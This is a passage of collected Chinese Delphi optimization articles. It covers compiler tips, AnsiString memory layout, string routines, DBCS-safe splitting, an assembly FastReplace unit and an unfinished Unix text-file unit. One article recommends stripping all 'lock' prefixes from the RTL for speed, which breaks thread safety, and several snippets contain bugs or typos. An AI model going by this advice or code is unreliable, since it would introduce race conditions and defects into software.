procedure MyProc;
const
somedata: Integer = 12;
begin
Inc(somedata, 3);
end;


Delphi强力优化

nightmare(qingrui li)

**关于记录类型的返回值
C++程序员不会这样做，因为返回值会被压入堆栈，导致时间效率和空间效率都降低。但Delphi无此问题。一般情况下，记录类型返回值会像Out参数一样传递引用（在EAX寄存器中）。

**公共表达式
Delphi只在一个语句行内提取公共表达式。如果公共表达式包含函数调用，则不会被提取，因为可能改变语义。如果确保函数返回值相同，应预先计算。

**类属性
每次引用属性时都会使属性重新计算，即使属性是直接映射到域。频繁调用属性时应预先计算。

**循环内的重复计算表达式外提
C++程序员可能会让编译器做此优化，但Delphi一般不会这么做。最安全且最有效的优化应由程序员来完成。

**使用const参数
当函数参量不被改变时，如果参量长度超过4字节或是接口、字符串、动态数组类型，使用const参数，可以使编译器尽可能的以地址方式用寄存器传递。

**长度为4字节的记录或数祖赋值时，编译器会自动按DWORD用32位寄存器处理

**记录数组的元素长度是偶数的话，可以生成更快的数组访问代码

**整除2或4会优化成右移位，乘2或4会优化成左移位，所以不需特意用移位运算，可以写出更可读的代码

**如果你在写大量浮点运算的程序，记住，Delphi不对浮点计算做优化。手工优化，必要时用汇编，或者考虑用C（不是C++）。

**with语句
with语句不止是源代码上的简洁，而且生成更快更短的代码。

**Delphi 6 的Alignment
Delphi 6 缺省按8字节对齐变量边界，在工程选项里将其改成4字节可以使生成的应用程序更短小。

**不要为Delphi里没有宏而抱怨
参数较少的函数，调用时只耗1到2个时钟周期（register调用协议的优势），因为没有参数压栈的开销。


字符串代码优化

作者 : freewizard

delphi有三种字符串类型：短字符串(string[n],n=1..255)存储区为静态分配，大小在编译时确定，这是继承于bp for dos的类型；字符数组(pchar)主要是为了兼容各类api，在bp7中已经出现，如今在delphi中更加应用广泛，其存储区可以用字符数组静态分配，也可用getmem手动分配；而长字符串(ansistring)是delphi独有的，其存储区在运行时动态分配，最灵活也最易被滥用。

不重复初始化

delphi默认字符串类型ansistring会自动初始化为空。如下代码：

var s:string；
begin
s:='';
……
end;

s:='';就属多此一举。但是值得注意的是这对函数返回值result无效。而一般说来，用var实参传递比返回字符串值要更快一些。

使用setlength预分配长字符串（ansistring）

动态分配内存是ansistring的一大长项，但容易弄巧成拙，一个典型的例子如下：

s2:=' ';
for i:=2 to length(s1) do s2:=s2+s1[i];

且不说可用delete取代之，主要问题在于上例的循环中s2的内存区域被不停地重复分配，相当费时。一个简单有效的办法如下：

setlength(s2,length(s1)-1);
for i:=2 to length(s1) do s2[i-1]:=s1[i];

这样s2内存只会重新分配一次。
字符串与动态数组的线程安全(thread safety)
在delphi 5以前动态数组与长字符串的操作这些非线程安全调用是由引用计数来处理其临界问题的，而自delphi5起就改为直接在一些临界指令前加lock指令前缀来避免这个问题。不幸的是这一修改的代价相当昂贵，因为在pentiumⅱ处理器中lock指令相当费时，大概要耗费额外的28个指令周期来完成这一操作，因而整体效率至少下降一半。
解决这个问题的办法只有一个，那就是修改delphi rtl核心代码。在备份原文件后，将source\rtl\sys\system.pas中所有的lock替换为{lock}，当然必须是整字替换。
如此还未完全优化，下一步是将delphi4运行库中也有的xchg指令去掉，因为该指令有隐含的lock前缀，所以必须将system.pas内_lstrasg和_strlasg两个过程中的 xchg edx,[eax] 替换为如下代码：

mov ecx,[eax]
mov [eax],edx
mov edx,ecx

ok大功告成，编译一下，覆盖system.dcu即可。如此其执行效率将比delphi5提高6倍，比delphi4提高2倍。

避免使用短字符串

由于很多字符串操作会先把短字符串转换为长字符串，从而减慢了执行速度，因此还是少使用短字符串为妙。

避免使用copy函数
这也和滥用内存管理有关。一个典型的情形如下：
if copy(s1,23,64)=copy(s2,15,64) then ……
这样导致分配了两块临时内存，因而降低了效率。应当替换为如下代码：
i:=0;
f:=false;
repeat
f:=s1[i+23]<>s2[i+15];
inc(i);
until f or (i>63);
if not f then ……
同样的，如下语句就显得相当低效：
s:=copy(s,1,length(s)-10);
应改为
delete(s,length(s)-10,10);
顺便提一句，在连接字符串时，s:=s1+s2;简单而有效；但在delphi2下则s:=format([%s%s],s1,s2);可能稍快些。

总是使用长字符串，必要时转换为pchar

先看看ansistring的定义：
type
astring = packed record
allocsiz: longint; //动态分配大小
refcnt: longint; //引用计数
length: longint; //实际长度
chrarr:array[1..allocsiz-6]of char; //字节序列
end;

其中astring[1]将返回astring.chrarr[1]的内容。
很多人认为ansistring是天生低效的。其实这在很大程度上是由代码编写不良、内存管理乱用和缺乏支持的函数所致。如上所述，一旦被动态分配了一块内存，长字符串就成了一个线性的字节序列，并无所谓的效率问题。当然，若有更多有效的函数支持那就更好了。
说到ansistring到pchar的转换，本质上有三个办法：
(1) p:=@s[1];这会引发uniquestring调用。
(2) p:=pchar (s);这会先检查s是否为空，若是，则返回nil,否则即返回s[1]的地址。
(3) p:=pointer(s);这不会引发任何隐含调用，因而是在确定s非空情况下的最佳选择。


Object Pascal中String类型的内幕探讨

 在Object Pascal中，String(准确的说是AnsiString)是一种可变长度的字符串，通过P
Char(AString)可以将其转换为与Windows API相兼容的字符指针类型。事实上，String
类型就是一个指针，你可以用Sizeof去读取它的大小，不论字符串的实际长度是多少，
Sizeof(AString)永远是4。String与一般的Null-Terminated字符指针不同的是，Strin
g还要保留另外的一部分空间，用于记录字符串长度和引用计数等信息。String类型在内
存中的确切格式如下：
（4字节）分配大小+（4字节）引用计数+（4字节）字串长度+（不定长）字符数组+（1
字节）$0结束字符
为了验证这一点，我们可以在程序中添加一个作用域为private的String变量，在程序中
动态改变它的长度和内容，同时观察它的分配大小和长度发生了什么变化。另外，为了
观察引用计数的变化，只有在两个字符串互相复制的时候才能体现出来，我们在程序中
也要实现这一点。
请新建一个Application，在窗体上放置一个Edit，一个ListBox和三个Button。其中，
Edit用来改变字符串的内容；ListBox用来记录跟踪信息；三个按钮分别用于观察字符串
的当前状况，观察字符串的引用计数变化情况和清空列表内容。
在Form的声明中添加一个变量:
type
TForm1=class(TForm)
...
private
s : string;
end;
添加三个按钮的事件处理如下：
procedure TForm1.Button1Click(Sender: TObject);
var
psz : PChar;
pdw : PDWORD;
dw1, dw2, dw3 : DWord;
begin
s := Edit1.Text;
psz := PChar(s);
pdw := PDWORD(psz);
Dec(pdw);Dec(pdw);Dec(pdw);
dw1 := pdw^;
Inc(pdw);dw2 := pdw^;
Inc(pdw);dw3 := pdw^;
ListBox1.Items.Add( Format('[Current]Size:%d, Ref:%d, Len:%d',
[dw1,dw2,dw3]) );
end;
procedure TForm1.Button2Click(Sender: TObject);
var
psz : PChar;
pdw : PDWORD;
dw1, dw2, dw3 : DWord;
s2 : string;
p1, p2 : Pointer;
begin
s := Edit1.Text;
psz := PChar(s);
pdw := PDWORD(psz);
Dec(pdw);Dec(pdw);Dec(pdw);
dw1 := pdw^;
Inc(pdw);dw2 := pdw^;
Inc(pdw);dw3 := pdw^;
ListBox1.Items.Add( Format('[Before assign]Size:%d, Ref:%d, Len:%d',
[dw1,dw2,dw3]) );
s2 := s;
p1 := Pointer(PChar(s));
p2 := Pointer(PChar(s2));
ShowMessage(Format('p1=%p,p2=%p',[p1,p2]));
psz := pChar(s);
pdw := PDWORD(psz);
Dec(pdw);Dec(pdw);Dec(pdw);
dw1 := pdw^;
Inc(pdw); dw2 := pdw^;
Inc(pdw); dw3 := pdw^;
ListBox1.Items.Add( Format('[After assign]Size:%d, Ref:%d, Len:%d',
[dw1,dw2,dw3]) );
s2 := s2 + 'Another string';
p1 := Pointer(PChar(s));
p2 := Pointer(PChar(s2));
ShowMessage(Format('p1=%p,p2=%p',[p1,p2]));
psz := pChar(s);
pdw := PDWORD(psz);
Dec(pdw);Dec(pdw);Dec(pdw);
dw1 := pdw^;
Inc(pdw); dw2 := pdw^;
Inc(pdw); dw3 := pdw^;
ListBox1.Items.Add( Format('[After COW]Size:%d, Ref:%d, Len:%d',
[dw1,dw2,dw3]) );
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ListBox1.Items.Clear;
end;
如果你对指针的概念比较清楚的话，上面的代码是不难理解的。下面是该程序的输出结
果：
[Current]Size:22, Ref:5, Len:5
[Before Assign]Size:22, Ref:2, Len:5
[After Assign]Size:22, Ref:3, Len:5
[After COW]Size:22, Ref:2, Len:5
观察上述结果，可以得出几个结论：
1．“分配大小”和“字串长度”之间存在着一种固定的数量关系，即分配大小=字串长
度+17。为什么会有这种关系？请你再看一看String类型的内存分布：（4字节）分配大
小+（4字节）引用计数+（4字节）字串长度+（不定长）字符数组+（1字节）$0结束字符
，4+4+4+(strlen)+1，应该是13+(strlen)才对，也就是说应该还有4字节的空间，其用
途尚不清楚。值得一提的是，如果你将字符串清空，那么Len的结果可能不是你所想象的
0，而是一个让你大吃一惊的数字。
2．因为分配大小和字串长度都是用4字节来表示的，而且String类型是动态分配内存，
所以字符串最大可能的长度应该是2^32-17个字节。
3．在拷贝字符串的时候，Object Pascal并不是把字符串简单的复制一份，而是采取了
引用计数的方法，将两个字符串指向同一个内存空间，同时引用计数加1。当字符串变量
被清除的时候，引用计数减1，如果引用计数已经减为0，表明该字符串可以真正被清除
了。显然，这种方法比复制整个字符串的效率要高。
4．在给字符串赋值的时候，Object Pascal首先会检查字符串的引用计数是否为1。如果
是，按照一般的方法直接赋值即可；否则，就说明有两个以上字符串指向同一个地址，
这种情况就复杂多了。Object Pascal使用的是Copy-on-Write机制（COW），为当前字符
串另外开辟一个缓冲区，将新内容拷入；同时，原来的字符串引用计数要减一。
5．知道了String的内存布局，我们也就知道了PChar(str)的意义了。不过，使用PChar
的同时也就丢失了String的动态增长和引用计数的功能，所以一定要小心，另外要注意
PChar长度的计算和字符串长度一定要同步，否则会出问题。比如，下面的代码就不能正
常工作：
var
str : string;
begin
SetLength(str,256);
GetWindowDirectory(PChar(str),256);
str := str + ‘\win.ini’;
end;
这样的结果是不正确的。之所以不正确，是因为SetLength将字符串长度设成了256，而
PChar计算的长度只到第一个$0为止。正确的方法应该是：
SetLength(str,256);
GetWindowsDirectory(PChar(str),256);
SetLength(str,StrLen(PChar(str)));
str := setr + ‘\win.ini’;
说明：上面的程序是在Delphi 5下测试通过的。Borland并不保证String的内存结构在以
后的Delphi版本中会保持不变，所以，上述例子只是作为测试用，实际的程序中不应该
这样使用String，谨此说明。


从文本中提取电子邮件地址

function IsEMail(EMail: String): Boolean;

var

s: String;

ETpos: Integer;

begin

ETpos:= pos('@', EMail);

if ETpos > 1 then

begin

s:= copy(EMail,ETpos+1,Length(EMail));

if (pos('.', s) > 1) and (pos('.', s) < length(s)) then

Result:= true else Result:= false;

end

else

Result:= false;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if isemail(Edit1.Text) then

begin

ShowMessage('eMail-Adresse!');

end;

end;


快速的大小写转换

比AnsiUpperCase快3.5倍

var ANSIUpper: array [char] of char;

{********************************************************
用预先添表来加速转换
*********************************************************}
procedure FillANSIUpper;
var ch: char;
begin
for ch := Low (char) to High (char) do
ANSIUpper [ch] := AnsiUpperCase (ch) [1];
end;

{********************************************************
********************************************************}
function
ConvertToANSIUpper (const s: string): string;
var i: integer;
begin
Result := s;
for i := 1 to length (Result) do
Result [i] := ANSIUpper [Result [i]];
end;

initialization
FillANSIUpper;


更好的字符串定位函数

新函数可以指定开始位置和最大搜索长度。

function StrPos (const s1, s2: string; pos, max:
Integer): Integer;
// s1 =  the string that must be found
//
s2 =  the string to search
// pos = start position
// max =
maximum search length
var s, l1, l2, j: Integer;
begin
Result:= -1;
l1:= Length (s1);
l2:= Length (s2);
if max <= 0
then  max:= l2; // maximum length
if pos < 0
then  pos:= 0; // we can not search befor the first char
if (l1
<= 0) or (pos > max) then  Exit; // maybe we're ready at all?
for s:= pos to (max - l1) do begin
for j:= 1 to l2 do begin
if (s1[j] <> s2[s+j]) then BREAK; // Diffrence detectet
// we have it found
if (j = l1) then
begin  Result:= s;  Exit;  end;
end;
end;
end;


如何在字符串截取中避免分割到半个汉字

演示程序中主要是用了 IsDBCSLeadByte 这个 API 来判断某字节是否在双字节字符集(例如汉字)的前导字节集中(GB 2312-80 汉字编码中的第一个字节范围 0xA1-0xFe)

( The IsDBCSLeadByte function determines whether a character is a lead byte ?that is, the first byte

of a character in a double-byte character set (DBCS). )

procedure TForm1.Button1Click(Sender: TObject);

var

CutLengthOfLine{ 被处理字符串的总长度 }, i, j: integer;

sLine{ 被处理的源字符串 }: string;

sCuted{ 按固定长度分割出来的部分字符串 }: string;

iCutLength{ 按固定长度分割出来的部分字符串的长度 }: integer;

bIsDBCS{ 是否是汉字的前半字节 }: boolean;

begin

if edit1.text='' then begin

exit;

end;

CutLengthOfLine:=strtoint(edit1.text);

if CutLengthOfLine < 2 then begin

showmessage('CutLengthOfLine 必须大于等于 2 !');

Exit;

end;

Memo2.Lines.Clear;

for i := 0 to Memo1.Lines.Count - 1 do

begin

sLine := Memo1.Lines[i];

if Length(sLine) = 0 then

Memo2.Lines.Add(#13+#10)

else

repeat //开始处理字符串

iCutLength := CutLengthOfLine;

sCuted := Copy(sLine, 1, iCutLength);//从头取出 iCutLength 长的字符串

bIsDBCS := False;//先假设没有半个字符串

for j := 1 to iCutLength do //从头到尾逐个检查，至于为什么?

//原作者是这样解释的

//1. 为什麽不直接抓最後一个字元判断? 因为中文字的 Trail-byte, 其内码也可能落在 Lead-byte

// 的内码区间内.

//2. 为什麽不直接抓最後两个字元来判断? 因为前一个字的 Trail-byte 加上後一个字的 Lead-byte,

// 可能又是一个中文字.

begin

if bIsDBCS then //如果上一个字节是汉字的前半部分

bIsDBCS := False //则此时本字节是汉字的后半部分，

//所以将是否前半个汉字检测标志设为假

else

if Windows.IsDBCSLeadByte(byte(sCuted[j])) then

bIsDBCS := True;//否则检查本字节，并根据结果设置标志

end; //end of for

//如果最后一个字节的上一个字节是汉字的前半部分，则结束时

//检测标志为假，

if bIsDBCS then Dec(iCutLength);

//如果最后一个字节是汉字的前半部分， 则少截取一个字符，避免乱码

Memo2.Lines.Add(Copy(sLine, 1, iCutLength));

sLine := Copy(sLine, iCutLength + 1, Length(sLine) - iCutLength);

//拷贝出下一部分固定长度的字符串，循环处理

until Length(sLine) <= 0;

end;

memo2.setfocus;

memo2.selstart:=0;

memo2.SelLength:=0;

end;

字符串分割的演示程序


最快的替换函数（中文兼容）

其实还可以在FastReplace中先对FindStr进行判断，如果
FindStr完全是中文的话，直接可以在FastReplace中用
FastPos，这样可以提高速度。

unit FReplace;

interface

Type
TFastPosProc = function(
const aSourceString, aFindString : String;
const aSourceLen, aFindLen, StartPos : integer
) : integer;

function FastReplace(
var aSourceString :
String;
const aFindString, aReplaceString :
String;
CaseSensitive : Boolean = False) : String;

function FastPos(
const aSourceString, aFindString : String;
const aSourceLen, aFindLen, StartPos : integer
) : integer;

function FastPosNoCase(
const aSourceString, aFindString : String;
const aSourceLen, aFindLen, StartPos : integer
) : integer;

implementation

// This TYPE declaration will become apparent later.
//The first thing to note here is that I’m passing the SourceLength and FindL
//ength. As neither Source nor Find will alter at any point during FastReplace
//, there’s no need to call the LENGTH subroutine each time!
function FastPos(
const aSourceString, aFindString : String;
const aSourceLen, aFindLen, StartPos : integer
) : integer;
var
SourceLen : integer;
begin
// Next, we determine how many bytes we need to
// scan to find the "start" of aFindString.
SourceLen := aSourceLen;
SourceLen := SourceLen - aFindLen;
if (StartPos-1) > SourceLen then begin
Result := 0;
Exit;
end;
SourceLen := SourceLen - StartPos;
SourceLen := SourceLen +2;
// The ASM starts here.
asm
// Delphi uses ESI, EDI, and EBX a lot,
// so we must preserve them.
push ESI
push EDI
push EBX
// Get the address of sourceString[1]
// and Add (StartPos-1).
// We do this for the purpose of finding
// the NEXT occurrence, rather than
// always the first!
mov EDI, aSourceString
add EDI, StartPos
Dec EDI
// Get the address of aFindString.
mov ESI, aFindString
// Note how many bytes we need to
// look through in aSourceString
// to find aFindString.
mov ECX, SourceLen
// Get the first char of aFindString;
// note how it is done outside of the
// main loop, as it never changes!
Mov Al, [ESI]
// Now the FindFirstCharacter loop!
@ScaSB:
// Get the value of the current
// character in aSourceString.
// This is equal to ah := EDI^, that
// is what the [] are around [EDI].
Mov Ah, [EDI]
// Compare this character with aDestString[1].
cmp Ah,Al
// If they're not equal we don't
// compare the strings.
jne @NextChar
// If they're equal, obviously we do!
@CompareStrings:
// Put the length of aFindLen in EBX.
mov EBX, aFindLen
// We DEC EBX to point to the end of
// the string; that is, we don't want to
// add 1 if aFindString is 1 in length!
dec EBX

// add by ShengQuanhu
// If EBX is zero, then we've successfully
// compared each character; i.e. it's A MATCH!
// It will be happened when aFindLen=1
Jz @EndOfMatch
//add end

//Here’s another optimization tip. People at this point usually PUSH ESI and
//so on and then POP ESI and so forth at the end–instead, I opted not to chan
//ge ESI and so on at all. This saves lots of pushing and popping!
@CompareNext:
// Get aFindString character +
// aFindStringLength (the last char).
mov Al, [ESI+EBX]
// Get aSourceString character (current
// position + aFindStringLength).
mov Ah, [EDI+EBX]
// Compare them.
cmp Al, Ah
Jz @Matches
// If they don't match, we put the first char
// of aFindString into Al again to continue
// looking for the first character.
Mov Al, [ESI]
Jmp @NextChar
@Matches:
// If they match, we DEC EBX (point to
// previous character to compare).
Dec EBX
// If EBX <> 0 ("J"ump "N"ot "Z"ero), we
// continue comparing strings.
Jnz @CompareNext

//add by Shengquanhu
@EndOfMatch:
//add end

// If EBX is zero, then we've successfully
// compared each character; i.e. it's A MATCH!
// Move the address of the *current*
// character in EDI.
// Note, we haven't altered EDI since
// the first char was found.
mov EAX, EDI
// This is an address, so subtract the
// address of aSourceString[1] to get
// an actual character position.
sub EAX, aSourceString
// Inc EAX to make it 1-based,
// rather than 0-based.
inc EAX
// Put it into result.
mov Result, EAX
// Finish this routine!
jmp @TheEnd
@NextChar:
//This is where I jump to when I want to continue searching for the first char
//acter of aFindString in aSearchString:
// Point EDI (aFindString[X]) to
// the next character.
Inc EDI
// Dec ECX tells us that we've checked
// another character, and that we're
// fast running out of string to check!
dec ECX
// If EBX <> 0, then continue scanning
// for the first character.

//add by shengquanhu
//if ah is chinese char,jump again
jz @Result0
cmp ah, $80
jb @ScaSB
Inc EDI
Dec ECX
//add by shengquanhu end

jnz @ScaSB

//add by shengquanhu
@Result0:
//add by shengquanhu end

// If EBX = 0, then move 0 into RESULT.
mov Result,0
// Restore EBX, EDI, ESI for Delphi
// to work correctly.
// Note that they're POPped in the
// opposite order they were PUSHed.
@TheEnd:
pop EBX
pop EDI
pop ESI
end;
end;

//This routine is an identical copy of FastPOS except where commented! The ide
//a is that when grabbing bytes, it ANDs them with $df, effectively making the
//m lowercase before comparing. Maybe this would be quicker if aFindString was
// made lowercase in one fell swoop at the beginning of the function, saving a
//n AND instruction each time.
function FastPosNoCase(
const aSourceString, aFindString : String;
const aSourceLen, aFindLen, StartPos : integer
) : integer;
var
SourceLen : integer;
begin
SourceLen := aSourceLen;
SourceLen := SourceLen - aFindLen;
if (StartPos-1) > SourceLen then begin
Result := 0;
Exit;
end;
SourceLen := SourceLen - StartPos;
SourceLen := SourceLen +2;
asm
push ESI
push EDI
push EBX

mov EDI, aSourceString
add EDI, StartPos
Dec EDI
mov ESI, aFindString
mov ECX, SourceLen
Mov Al, [ESI]

//add by shengquanhu:just modified the lowercase 'a'..'z'
cmp Al, $7A
ja @ScaSB

cmp Al, $61
jb @ScaSB
//end------------------------------------------

// Make Al uppercase.
and Al, $df

@ScaSB:
Mov Ah, [EDI]

//add by shengquanhu:just modified the lowercase 'a'..'z'
cmp Ah, $7A
ja @CompareChar

cmp Ah, $61
jb @CompareChar
//end------------------------------------------

// Make Ah uppercase.
and Ah, $df

@CompareChar:
cmp Ah,Al
jne @NextChar
@CompareStrings:
mov EBX, aFindLen
dec EBX

//add by ShengQuanhu
Jz @EndOfMatch
//add end

@CompareNext:
mov Al, [ESI+EBX]
mov Ah, [EDI+EBX]

//add by shengquanhu:just modified the lowercase 'a'..'z'
cmp Ah, $7A
ja @LowerAh

cmp Al, $61
jb @LowerAh
//end------------------------------------------

// Make Al and Ah uppercase.
and Al, $df

//add by shengquanhu:just modified the lowercase 'a'..'z'
@LowerAh:
cmp Ah, $7A
ja @CompareChar2

cmp Ah, $61
jb @CompareChar2
//end------------------------------------------

and Ah, $df

@CompareChar2:
cmp Al, Ah
Jz @Matches
Mov Al, [ESI]

//add by shengquanhu:just modified the lowercase 'a'..'z'
cmp Al, $7A
ja @NextChar

cmp Al, $61
jb @NextChar
//end------------------------------------------

// Make Al uppercase.
and Al, $df
Jmp @NextChar
@Matches:
Dec EBX
Jnz @CompareNext

//add by Shengquanhu
@EndOfMatch:
//add end

mov EAX, EDI
sub EAX, aSourceString
inc EAX
mov Result, EAX
jmp @TheEnd
@NextChar:
Inc EDI
dec ECX
//add by shengquanhu
//if ah is chinese char,jump again
jz @Result0
cmp ah, $80
jb @ScaSB
Inc EDI
Dec ECX
//add by shengquanhu end
jnz @ScaSB
@Result0:
mov Result,0
@TheEnd:
pop EBX
pop EDI
pop ESI
end;
end;

//My move isn’t as fast as MOVE when source and destination are both DWord al
//igned, but it’s certainly faster when they’re not. As we’re moving charac
//ters in a string, it isn’t very likely at all that both source and destinat
//ion are DWord aligned, so moving bytes avoids the cycle penalty of reading/w
//riting DWords across physical boundaries.
procedure MyMove(
const Source; var Dest; Count : Integer);
asm
// Note: When this function is called,
// Delphi passes the parameters as follows:
// ECX = Count
// EAX = Const Source
// EDX = Var Dest
// If there are no bytes to copy, just quit
// altogether; there's no point pushing registers.
cmp ECX,0
Je @JustQuit
// Preserve the critical Delphi registers.
push ESI
push EDI
// Move Source into ESI (generally the
// SOURCE register).
// Move Dest into EDI (generally the DEST
// register for string commands).
// This might not actually be necessary,
// as I'm not using MOVsb etc.
// I might be able to just use EAX and EDX;
// there could be a penalty for not using
// ESI, EDI, but I doubt it.
// This is another thing worth trying!
mov ESI, EAX
mov EDI, EDX
// The following loop is the same as repNZ
// MovSB, but oddly quicker!
@Loop:
// Get the source byte.
Mov AL, [ESI]
// Point to next byte.
Inc ESI
// Put it into the Dest.
mov [EDI], AL
// Point dest to next position.
Inc EDI
// Dec ECX to note how many we have left to copy.
Dec ECX
// If ECX <> 0, then loop.
Jnz @Loop
// Another optimization note.
// Many people like to do this.
// Mov AL, [ESI]
// Mov [EDI], Al
// Inc ESI
// Inc ESI
//There’s a hidden problem here. I won’t go into too much detail, but the Pe
//ntium can continue processing instructions while it’s still working out the
// result of INC ESI or INC EDI. If, however, you use them while they’re stil
//l being calculated, the processor will stop until they’re calculated (a pen
//alty). Therefore, I alter ESI and EDI as far in advance as possible of using
// them.
// Pop the critical Delphi registers
// that we've altered.
pop EDI
pop ESI
@JustQuit:
end;

//Point 1: I pass VAR aSourceString rather than just aSourceString. This is be
//cause I’ll just be passed a pointer to the data rather than a 10M copy of t
//he data itself, which is much quicker!
function FastReplace(
var aSourceString : String;
const aFindString, aReplaceString : String;
CaseSensitive : Boolean = False) : String;
var
// Size already passed to SetLength,
// the REAL size of RESULT.
ActualResultLen,
// Position of aFindString is aSourceString.
CurrentPos,
// Last position the aFindString was found at.
LastPos,
// Bytes to copy (that is, lastpos to this pos).
BytesToCopy,
// The "running" result length, not the actual one.
ResultLen,
// Length of aFindString, to save
// calling LENGTH repetitively.
FindLen,
// Length of aReplaceString, for the same reason.
ReplaceLen,
SourceLen : Integer;
// This is where I explain the
// TYPE TFastPosProc from earlier!
FastPosProc : TFastPosProc;
begin
//As this function has the option of being case-insensitive, I’d need to call
// either FastPOS or FastPOSNoCase. The problem is that you’d have to do this
// within a loop. This is a bad idea, since the result never changes throughou
//t the whole operation–in which case we can determine it in advance, like so
//:
if CaseSensitive then
FastPosProc := FastPOS
else
FastPOSProc := FastPOSNoCase;
// I don't think I actually need
// this, but I don't really mind!
Result := '';
// Get the lengths of the strings.
FindLen := Length(aFindString);
ReplaceLen := Length(aReplaceString);
SourceLen := Length(aSourceString);
// If we already have room for the replacements,
// then set the length of the result to
// the length of the SourceString.
if ReplaceLen <= FindLen then
ActualResultLen := SourceLen
else
// If not, we need to calculate the
// worst-case scenario.
// That is, the Source consists ONLY of
// aFindString, and we're going to replace
// every one of them!
ActualResultLen :=
SourceLen +
(SourceLen * ReplaceLen div FindLen) +
ReplaceLen;
// Set the length of Result; this
// will assign the memory, etc.
SetLength(Result,ActualResultLen);
CurrentPos := 1;
ResultLen := 0;
LastPos := 1;
//Again, I’m eliminating an IF statement in a loop by repeating code–this ap
//proach results in very slightly larger code, but if ever you can trade some
//memory in exchange for speed, go for it!
if ReplaceLen > 0 then begin
repeat
// Get the position of the first (or next)
// aFindString in aSourceString.
// Note that there's no If CaseSensitive,
// I just call FastPOSProc, which is pointing
// to the correct pre-determined routine.
CurrentPos :=
FastPosProc(aSourceString, aFindString,
SourceLen, FindLen, CurrentPos);
// If 0, then we're finished.
if CurrentPos = 0 then break;
// Number of bytes to copy from the
// source string is CurrentPos - lastPos,
// i.e. " cat " in "the cat the".
BytesToCopy := CurrentPos-LastPos;
// Copy chars from aSourceString
// to the end of Result.
MyMove(aSourceString[LastPos],
Result[ResultLen+1], BytesToCopy);
// Copy chars from aReplaceString to
// the end of Result.
MyMove(aReplaceString[1],
Result[ResultLen+1+BytesToCopy], ReplaceLen);
// Remember, using COPY would copy all of
// the data over and over again.
// Never fall into this trap (like a certain
// software company did).
// Set the running length to
ResultLen := ResultLen +
BytesToCopy + ReplaceLen;
// Set the position in aSourceString to where
// we want to continue searching from.
CurrentPos := CurrentPos + FindLen;
LastPos := CurrentPos;
until false;
end else begin
// You might have noticed If ReplaceLen > 0.
// Well, if ReplaceLen = 0, then we're deleting the
// substrings, rather than replacing them, so we
// don't need the extra MyMove from aReplaceString.
repeat
CurrentPos := FastPos(aSourceString,
aFindString, SourceLen, FindLen, CurrentPos);
if CurrentPos = 0 then break;
BytesToCopy := CurrentPos-LastPos;
MyMove(aSourceString[LastPos],
Result[ResultLen+1], BytesToCopy);
ResultLen := ResultLen +
BytesToCopy + ReplaceLen;
CurrentPos := CurrentPos + FindLen;
LastPos := CurrentPos;
until false;
end;
//Now that we’ve finished doing all of the replaces, I just need to adjust th
//e length of the final result:
Dec(LastPOS);
//Now I set the length to the Length plus the bit of string left. That is, " m
//at" when replacing "the" in "sat on the mat".
SetLength(Result, ResultLen + (SourceLen-LastPos));
// If there's a bit of string dangling, then
// add it to the end of our string.
if LastPOS+1 <= SourceLen then
MyMove(aSourceString[LastPos+1],
Result[ResultLen+1],SourceLen-LastPos);
end;

end.


快速的字符串替换

{*********************************************
这个函数慢因为Result := Result + ch2这
样的字符串合并慢
*********************************************}
function ReplaceCharSlow (const s: string;
ch1: char; ch2: char): string;
var i: integer;
begin
Result := '';
for i := 1 to length (s) do
if s [i] = ch1 then
Result := Result + ch2
else
Result := Result + s [i];
end;

{*********************************************
比上面的方法快160倍
*********************************************}
function ReplaceCharFast (const s: string;
ch1: char; ch2: char): string;
var i: integer;
begin
Result := s;
for i := 1 to length (Result) do
if Result [i] = ch1 then
Result [i] := ch2;
end;


读写Unix文本文件

unit StreamFile;

interface

Uses
SysUtils ;

Procedure AssignStreamFile (var F : Text ; Filename : String) ;

implementation

Const

BufferSize = 128 ;

Type

TStreamBuffer = Array [1..High (Integer)] of Char ;

TStreamBufferPointer = ^TStreamBuffer ;

TStreamFileRecord = Record

Case Integer Of

1:

(

Filehandle : Integer ;

Buffer : TStreamBufferPointer ;

BufferOffset : Integer ;

ReadCount : Integer ;

) ;

2:

(

Dummy : Array [1 .. 32] Of Char

)

End ;

Function StreamFileOpen (var F : TTextRec) : Integer ;

Var

Status : Integer ;

Begin

With TStreamFileRecord (F.UserData) Do

Begin

GetMem (Buffer, BufferSize) ;

Case F.Mode Of

fmInput:

FileHandle := FileOpen (StrPas (F.Name), fmShareDenyNone) ;

fmOutput:

FileHandle := FileCreate (StrPas (F.Name)) ;

fmInOut:

Begin

FileHandle := FileOpen (StrPas (F.Name), fmShareDenyNone Or

fmOpenWrite or fmOpenRead) ;

If FileHandle <> -1 Then

status := FileSeek (FileHandle, 0, 2) ; { Move to end of file. }

F.Mode := fmOutput ;

End ;

End ;

BufferOffset := 0 ;

ReadCount := 0 ;

F.BufEnd := 0 ; { If this is not here it thinks we are at eof. }

If FileHandle = -1 Then

Result := -1

Else

Result := 0 ;

End ;

End ;

Function StreamFileInOut (var F : TTextRec) : Integer ;

Procedure Read (var Data : TStreamFileRecord) ;

Procedure CopyData ;

Begin

While (F.BufEnd < Sizeof (F.Buffer) - 2)

And (Data.BufferOffset <= Data.ReadCount)

And (Data.Buffer [Data.BufferOffset] <> #10) Do

Begin

F.Buffer [F.BufEnd] := Data.Buffer^ [Data.BufferOffset] ;

Inc (Data.BufferOffset) ;

Inc (F.BufEnd) ;

End ;

If Data.Buffer [Data.BufferOffset] = #10 Then

Begin

F.Buffer [F.BufEnd] := #13 ;

Inc (F.BufEnd) ;

F.Buffer [F.BufEnd] := #10 ;

Inc (F.BufEnd) ;

Inc (Data.BufferOffset) ;

End ;

End ;

Begin

F.BufEnd := 0 ;

F.BufPos := 0 ;

F.Buffer := '' ;

Repeat

Begin

If (Data.ReadCount = 0) Or (Data.BufferOffset > Data.ReadCount) Then

Begin

Data.BufferOffset := 1 ;

Data.ReadCount := FileRead (Data.FileHandle, Data.Buffer^, BufferSize)

;

End ;

CopyData ;

End Until (Data.ReadCount = 0)

Or (F.BufEnd >= Sizeof (F.Buffer) - 2) ;

Result := 0 ;

End ;

Procedure Write (var Data : TStreamFileRecord) ;

Var

Status : Integer ;

Destination : Integer ;

II : Integer ;

Begin

With TStreamFileRecord (F.UserData) Do

Begin

Destination := 0 ;

For II := 0 To F.BufPos - 1 Do

Begin

If F.Buffer [II] <> #13 Then

Begin

Inc (Destination) ;

Buffer^[Destination] := F.Buffer [II] ;

End ;

End ;

